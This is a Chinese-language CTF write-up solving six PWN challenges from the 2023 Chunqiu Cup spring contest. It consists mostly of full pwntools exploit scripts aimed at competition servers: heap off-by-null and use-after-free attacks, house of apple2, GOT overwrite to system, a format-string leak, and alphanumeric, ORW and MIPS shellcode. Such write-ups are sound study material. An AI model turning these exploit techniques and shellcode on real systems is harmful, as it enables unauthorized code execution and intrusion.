2023年春秋杯网络安全联赛春季赛PWN(AK)

每天花一个小时左右的时间做了一下

1

p2048

这题都没昨看就莫名其妙的出来了,调试的时候写了如下的exp,然后wasd+enter乱按就拿到shell了。如果一次不成功,可以再来一次(XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

#context(arch='amd64', os='linux', log_level='debug')

file_name = './p2048'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('39.106.65.110', 38152)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()

r.sendline(b'aw' * (0x1ee) + b'B')

r.interactive()
1

babyaul

第一步需要修一下bins的头,修成如下样子就可以正常运行babyaul了

1
2
3
4
5
6
7
8
9
➜  babyaul xxd bins
00000000: 1b4c 7561 5100 0104 0804 0800 0900 0000 .LuaQ...........
00000010: 0000 0000 406c 7561 2e6c 7561 0000 0000 ....@lua.lua....
00000020: 0000 0000 0000 0002 020b 0000 0001 4000 ..............@.
00000030: 0007 0000 0001 c000 0007 8000 0024 0000 .............$..
00000040: 0007 0001 0024 4000 0007 4001 0024 8000 .....$@...@..$..
00000050: 0007 8001 001e 0080 0007 0000 0004 0800 ................
00000060: 0000 0000 0000 7061 7373 7374 7200 0401 ......passstr...
00000070: 0000 0000 0000 0000 0408 0000 0000 0000 ................

利用unluac.jar反编译出lua源码

1
java -jar unluac/bin/unluac.jar  bins > aul.lua

lua源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
passstr = ""
is_pass = 0
function bypass()
io.write("pass:")
passstr = io.read("*l")
is_pass = pass(string.sub(passstr, 1, 4))
if is_pass == 1 then
print("passed!")
else
print("pass faild!")
end
end
function run()
while true do
io.write(">")
local ops = io.read("*l")
if ops == "pass" then
init_pass()
bypass()
elseif ops == "add" then
if is_pass == 1 then
print("size?")
size = io.read("*number")
print("mode?")
mode = io.read("*number")
res_add = add_chunk(size, mode)
if res_add == 1 then
print("add success")
else
print("add err!")
end
else
print("pass first...")
end
elseif ops == "del" then
if is_pass == 1 then
print("index?")
index = io.read("*number")
res_del = del_chunk(index)
if res_del == 1 then
print("del success")
else
print("del err!")
end
else
print("pass first...")
end
elseif ops == "get" then
if is_pass == 1 then
print("index?")
index = io.read("*number")
res_get = get_chunk(index)
if res_get ~= 1 then
print("get err!")
end
else
print("pass first...")
end
elseif ops == "exit" then
print("exit")
break
end
end
end
function main()
alarm(120)
banner()
run()
end

可以看到要过pass,逆一下pass的处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall sub_615F(__int64 a1)
{
int i; // [rsp+14h] [rbp-3Ch]
__int64 v3; // [rsp+18h] [rbp-38h]
char v4[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+48h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( (unsigned int)sub_6FF0(a1, 0xFFFFFFFFLL) )
{
v3 = sub_7240(a1, 0xFFFFFFFFLL, 0LL);
sub_6D50(a1, -1);
sub_5FF5(v3, (__int64)v4);
for ( i = 0; i <= 31; ++i )
{
if ( v4[i] != byte_2E140[i] )
{
sub_7460(a1, 0);
return 0LL;
}
}
sub_7460(a1, 1);
return 1LL;
}
else
{
printf("not string!");
return 0LL;
}
}

4个随机的数据,经过sha256加密输出,需要爆破出4个随机数据的具体数值,这里笔者直接在网站上爆破的,爆破完之后输入进去即可

漏洞是2.31下的off-by-null,直接套板子,打出overlapping之后任意地址写hook为magic_gadget,然后一套orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babyaul'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('39.106.65.110', 19233)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '>'
menu2 = '>>'

def add(size, mode1, content):
r.sendlineafter(menu2, 'add')
r.sendlineafter('size?\n', str(size))
r.sendlineafter('mode?\n', str(mode1))
r.sendline(content)

def delete(index):
r.sendlineafter(menu2, 'del')
r.sendlineafter('index?\n', str(index))

def show(index):
r.sendlineafter(menu2, 'get')
r.sendlineafter('index?\n', str(index))



r.sendafter(menu, 'pass\n')
r.recvuntil('pass')

pd = input('give me pass: ')
li(pd)

r.sendlineafter(':', str(pd))

r.sendlineafter(menu, 'add')
r.sendlineafter('size?\n', str(0x510))
r.sendlineafter('mode?\n', str(3))
r.send('a' * 8)
add(0, 2, 'a' * 8)
add(0, 2, 'a' * 8)
add(0, 2, 'a' * 8)
add(0x4f0, 3, 'a' * 8)
add(0, 2, 'a' * 8)

delete(0)
add(0x510, 3, 'a' * 7)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

delete(2)
delete(3)
add(0, 2, '')

show(2)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x4da
li('heap_base = ' + hex(heap_base))

delete(2)

p1 = p64(heap_base + 0x530) + 0xf8 * b'a' + p64(0x210)
add(0x108, 1, p1)

p2 = p64(0) + p64(0x211) + p64(heap_base + 0x640 - 0x18) + p64(heap_base + 0x640 - 0x10)
add(0, 2, p2)

delete(4)

delete(1)
delete(2)

p3 = b'\x00' * 0xf8 + p64(0x111) + p64(free_hook)
add(0x500, 3, p3)

add(0, 2, '')

#gadget = 0x151990 + libc_base
gadget = 0x00000000001518b0 + libc_base
add(0, 2, p64(gadget))
heap_first = heap_base + 0xd60
setcontext = libc.sym['setcontext'] + 61 + libc_base
mprotect_addr = libc.sym['mprotect'] + libc_base

shellcode = shellcraft.open('./flag', 0)
shellcode += shellcraft.read(3, heap_first + 0x200, 0x100)
shellcode += shellcraft.write(1, heap_first + 0x200, 0x100)
shellcode = asm(shellcode)

p1 = p64(heap_first + 0x100) + p64(heap_first)
p1 = p1.ljust(0x20, b'\x00') + p64(setcontext)
p1 = p1.ljust(0x68, b'\x00') + p64(heap_base - 0xb230)
p1 = p1.ljust(0x70, b'\x00') + p64(0x21000)
p1 = p1.ljust(0x88, b'\x00') + p64(7)
p1 = p1.ljust(0xa0, b'\x00') + p64(heap_first)
p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr)
p1 = p1.ljust(0x100, b'\x00') + shellcode

add(0x500, 3, p1)
delete(6)

r.interactive()

easy_LzhiFTP_CHELL

这里就是多了一次touch,导致可以覆盖下面chunk地址

1
if ( !strncmp(opcode, "touch", 5uLL) && file_flags <= 16 && strlen(opcode) > 6 )

然后利用这一次touch,打chunk的地址到puts_got,然后edit打got到system_plt即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './easy_LzhiFTP'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote('39.106.131.193', 22639)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

raw_input()

r.sendlineafter('Username: ', 'z1r0')
r.sendlineafter('Input Password: ', p64(0x0000000a00000072))

r.sendlineafter('do you like my Server??(yes/No)', 'yes%6$p')

menu = 'IMLZH1-FTP> '

def debug():
r.sendlineafter(menu, 'debug')

def touch(file_name, content):
r.sendlineafter(menu, 'touch ' + file_name)
r.sendafter('write Context:', content)

def edit(index, content):
r.sendlineafter(menu, 'edit')
r.sendlineafter('idx:', str(index))
r.sendafter('Content: ', content)

def delete(index):
r.sendlineafter(menu, 'del')
r.sendlineafter('idx:', str(index))

r.recvuntil('0x')
leak_addr = int(r.recv(12), 16)
li('leak_addr = ' + hex(leak_addr))

elf_base = leak_addr - 0x2096
li('elf_base = ' + hex(elf_base))

puts_got = elf.got['puts'] + elf_base

for i in range(16):
touch('/bin/sh\x00', 'z1r0')

delete(0)
r.sendlineafter(menu, b'touch ' + p64(puts_got))
r.sendafter('write Context:', 'z1r0')

system_plt = elf_base + elf.plt['system']

edit(0, p64(system_plt))

r.sendline('ls')


r.interactive()

babygame

漏洞点在sub_401511这函数里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __fastcall sub_401511(char *a1)
{
__int64 result; // rax
int v2; // [rsp+14h] [rbp-3Ch]
int v3; // [rsp+18h] [rbp-38h]
int v4; // [rsp+1Ch] [rbp-34h]
char v5[40]; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
*a1 = toupper(*a1);
if ( *a1 <= '@' || *a1 > 'M' )
return 0LL;
v2 = sub_4014BC(a1[1]);
v3 = sub_4014BC(a1[2]);
v4 = sub_4014BC(a1[3]);
result = (unsigned int)(*a1 - 65);
switch ( *a1 )
{
case 'A':
result = v2;
v5[v2] = v4;
break;
case 'B':
result = v2;
v5[v2] = 0;
break;
case 'C':
result = *(_QWORD *)&v5[v4 + 0x10];
*(_QWORD *)&v5[v2] = result;
break;
case 'D':
result = v4;
v5[v4 + 16] = v5[v2];
break;
case 'E':
result = v2;
v5[v2] = v5[v3] + v5[v4];
break;
case 'F':
result = v2;
v5[v2] = v5[v3] - v5[v4];
break;
case 'G':
result = v2;
v5[v2] = v5[v4] & v5[v3];
break;
case 'H':
result = v2;
v5[v2] = v5[v4] | v5[v3];
break;
case 'I':
result = v2;
v5[v2] = v5[v4] ^ v5[v3];
break;
case 'J':
result = v2;
v5[v2] = 2 * v5[v3];
break;
case 'K':
result = v2;
v5[v2] = v5[v3] >> 1;
break;
default:
return result;
}
return result;
}

可以控制v2 v3 v4,并且有一块具有rwx的地址,可以覆盖到这个函数的返回地址

所以可以把那一个rwx地址写到v5里,然后利用C,把rwx的地址直接写到这个函数的返回地址

在进行漏洞之前还需要expansion backpack一下backpack_size,这样子我们就可以借助Purchase props来写很多的数据到rwx那里,shellcode直接用的可见字符

这里比较烦的是md5这一部分,这里笔者借助了一个api,https://md5decrypt.net/Api/api.php?hash=' + hash + '&hash_type=md5&email=xxxx@qq.com&code=xxxxx',去注册一下,邮箱里会得到code,填上去即可使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
from pyquery import PyQuery as pq
import requests
from lxml import etree
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('47.93.6.210', 41031)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

def decrypt(a):
url='https://www.cmd5.com/'
request=requests.session()
html_code=request.post(url).text
doc=pq(html_code)
viewstart=doc('#__VIEWSTATE').attr.value
VIEWSTATEGENERATOR=doc('#__VIEWSTATEGENERATOR').attr.value
ContentPlaceHolder1_HiddenField2=doc('#ctl00_ContentPlaceHolder1_HiddenField2').attr.value

data={
'__EVENTTARGET':'Button1',
'__EVENTARGUMENT':'',
'__VIEWSTATE':viewstart,
'__VIEWSTATEGENERATOR':VIEWSTATEGENERATOR,
#输入加密参数
'ctl00$ContentPlaceHolder1$TextBoxInput':a,
#类型 这个类型可以改成别的 如加密参数书 base64 就改成base64
'ctl00$ContentPlaceHolder1$InputHashType':'md5',
'ctl00$ContentPlaceHolder1$Button1':'查询',
'ctl00$ContentPlaceHolder1$HiddenFieldAliCode':'',
'ctl00$ContentPlaceHolder1$HiddenField1':'',
'ctl00$ContentPlaceHolder1$HiddenField2':ContentPlaceHolder1_HiddenField2
}

headers={
'referer':'https://www.cmd5.com/'
}

request_cmd5=request.post(url,data=data,headers=headers).text
two_doc=pq(request_cmd5)
Decrypt=two_doc('#LabelAnswer').text()

return Decrypt

def md5dec(hash):
url = 'https://md5decrypt.net/Api/api.php?hash=' + hash + '&hash_type=md5&email=xxx@qq.com&code=xxxxx'
response = requests.get(url)
return response.text

menu = '>> '

def play_game(num):
r.sendlineafter(menu, '1')
r.sendlineafter('Please enter your level : ', '4')
for i in range(num):
r.recvuntil(' == ')
md5_enc = int(r.recvuntil('\n'), 16)
#li(hex(md5_enc)[2:])
md5_enc = hex(md5_enc)[2:]
md5_dec = md5dec(md5_enc)
li(md5_dec)
if len(md5_dec) < 0 or len(md5_dec) > 6:
r.sendlineafter('Give me : ', 'a')
r.sendlineafter(menu, '1')
r.sendlineafter('Please enter your level : ', '4')
continue
r.sendlineafter('Give me : ', str(md5_dec))
r.sendlineafter('Give me : ', 'a')

def backpack(size):
r.sendlineafter(menu, '2')
r.sendlineafter(menu, '2')
r.sendlineafter('What size do you need : ', str(size))

def purchase_props(content):
r.sendlineafter(menu, '2')
r.sendlineafter(menu, '1')
r.sendafter('Enter the letter you want to purchase', content)

def using_props():
r.sendlineafter(menu, '2')
r.sendlineafter(menu, '3')

play_game(30)
backpack(0x100)
#shellcode = asm(shellcraft.sh())
shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
purchase_props('AG0GAH00AI02Co00' + shellcode)

r.interactive()

sigin_shellcode

这里可以直接运行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void battle()
{
unsigned int v0; // $v0
int i; // [sp+18h] [+18h]
int coin; // [sp+1Ch] [+1Ch]
int result; // [sp+20h] [+20h]
void (*func_ptr)(...); // [sp+24h] [+24h]
char buf[80]; // [sp+28h] [+28h] BYREF

puts("[-]The boss's DEF is 2751\n[-]The boss's ATK is 9999");
printf("[-]Your DEF is 0\n[-]Your ATK is %d\n", attack);
puts("[-]Now toss a coin to decide who attack first");
v0 = time(0);
srand(v0);
coin = rand() % 2;
printf("[*]The COIN is %d\n", coin);
if ( coin == 1 )
{
puts("[+]Boss get the first attack!");
puts("[+]0 - 9999 = -9999");
puts("You Died!!");
exit(0);
}
if ( coin )
{
printf("Woring!");
exit(0);
}
puts("[+]You get the first attack!");
puts("[+]Attacking...");
result = attack - 2751;
if ( attack - 2751 < 0 )
{
printf("Your ATK is %d\n", attack);
exit(0);
}
puts("You beat the boss!!");
puts("Now open the box which the Princess in.");
puts("I have already give you a useful_tools.");
puts("Shellcode > ");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
func_ptr = (void (*)(...))buf;
for ( i = 0; i < strlen(buf); ++i )
{
if ( !check(buf[i]) )
{
puts("[*]BOX: Forbidden!");
exit(0);
}
}
useful_tools();
func_ptr();
}

但是需要满足条件,attack - 2751 < 0,并且shellcode需要被check,这里的check很好绕过,li $a1, 0,前面是\x00,直接绕过了strlen

attack在shop那里,需要满足coin_sum >= 2751,dump出了coin每次rand之后的数,这样coin_sum在100次以内就会大于等于2751

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
from pwn import *
from ctypes import *

context(arch='mips', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('39.106.131.193', 45307)
else:
r = process(['./qemu-mipsel-static', '-L', '.', file_name])
#r = process(['./qemu-mipsel-static', '-L', '.', '-g', '1234', file_name])

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Go> \n'

def down(count):
r.sendlineafter(menu, '1')
r.sendlineafter('How much do you want?\n', str(count))

def shop(stick):
r.sendlineafter(menu, '3')
r.sendlineafter('> ', str(stick))

dbgg()

#libc=cdll.LoadLibrary("./lib/libc.so.0")
#libc.srand(0x1BF52)

down(0)
down(1)
down(2)
down(1)
down(4)
down(5)
down(4)
down(5)
down(8)
down(9)
down(8)
down(5)
down(5)
down(0xb)
down(0xe)
down(5)
down(0x10)
down(0x11)
down(5)
down(9)
down(0xb)
down(0x13)
down(3)
down(5)
down(4)
down(5)
down(0x11)
down(0x19)
down(0xe)
down(0x1d)
down(0x1e)
down(5)
down(8)
down(0x21)
down(4)
down(0x11)
down(0x20)
down(5)
down(5)
down(0x1d)
down(0x21)
down(0xb)
down(0)
down(0x29)
down(0x2c)
down(3)
down(6)
down(5)
down(0x2e)
down(0x1d)
down(0x32)
down(5)
down(0x2f)
down(0x11)
down(0x13)
down(0x35)
down(5)
down(0x2b)
down(0x34)
down(0x1d)
down(0x20)
down(0x3d)
down(0x35)
down(5)
down(0x2c)
down(0x29)
down(0x3c)
down(0x21)
down(0x1a)
down(0x27)
down(1)
down(0x35)
down(0x34)
down(0x45)
down(0x1d)
down(5)
down(0x4a)
down(5)
down(0x1d)
down(0x45)
down(0x2c)
down(0x21)
down(0x24)
down(0x35)
down(0x54)
down(0x2b)
down(0xe)
down(0x55)
down(0x51)
down(0x59)
down(0x12)
down(0x31)
down(0x5c)
down(0x35)
down(0x18)
down(5)
down(0x5d)
down(0x5f)
down(8)
#down(0x1d)

shop(3)
shop(2)

down(0)

#shellcode = b'\x00\x00' * 2
shellcode = asm('''
li $a2, 0
xor $a1, $a1
''')
li(disasm(shellcode))
r.send(shellcode)
#for i in range(10):
# li(disasm(b'\x00' + b'\\x' + bytes(i)))

r.interactive()

three-body

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_1A22()
{
int index; // [rsp+Ch] [rbp-4h]

sub_1554("Select an area you want to abandon to return: ");
index = read_input();
if ( heap_ptr[index] )
return sub_16AA(heap_ptr[index]); // uaf
else
return my_error_write("You haven't explored the area and can't return from this route.");
}

uaf,但是show和edit只可以用一次,add有随机概率,不用管,因为申请的堆块不是太多,add直接当正常的来使用,然后一套house of apple2即可

笔者一分钟试一次,试了三次就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote('39.106.65.236', 16484)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Your choice: '

Meet_the_criteria = []

def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Select an area to explore: ', str(index))
r.sendlineafter('Enter the size of the range you want to explore this time: ', str(size))
r.sendlineafter('Your decision: (1: yes / 0: no)', '0')
r.recvuntil('It seems that you are confident in yourself, move on.\n')
a = r.recv(4)
if a == b'Luck':
li('index = ' + hex(index))
Meet_the_criteria.append(index)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Select an area you want to abandon to return: ', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Please select which area to talk to: ', str(index))
r.sendlineafter('Since remote calls are costly, enter the specific number of words you want to send: ', str(size))
r.sendafter('Please write down your conclusions: ', content)

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Select to enter an area to receive a signal from the Trisolarans: ', str(index))

dbgg()

add(0, 0x710)
add(1, 0x700)
add(2, 0x700)
add(3, 0x700)
li(Meet_the_criteria)

delete(0)
delete(2)

show(0)

leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

r.recvuntil('\x00' * 2)
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))
heap_base = heap_addr

libc_base = leak_addr - 0x219ce0
li('libc_base = ' + hex(libc_base))
libc = ELF('./libc-2.35.so')

add(4, 0x700)
delete(2)

leave_ret = 0x00000000000562ec + libc_base
_IO_list_all = libc_base + libc.sym['_IO_list_all']
heap_base = heap_addr - 0xe30
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
target_addr = heap_base
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
one_gadget = one[1] + libc_base

p2 = p64(0) + p64(leave_ret) + p64(0) + p64(_IO_list_all - 0x20)
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget)
edit(0, len(p2), p2)
add(5, 0x900)
add(6, 0x700)

r.sendlineafter(menu, '5')
r.sendline('cat flag')

r.interactive()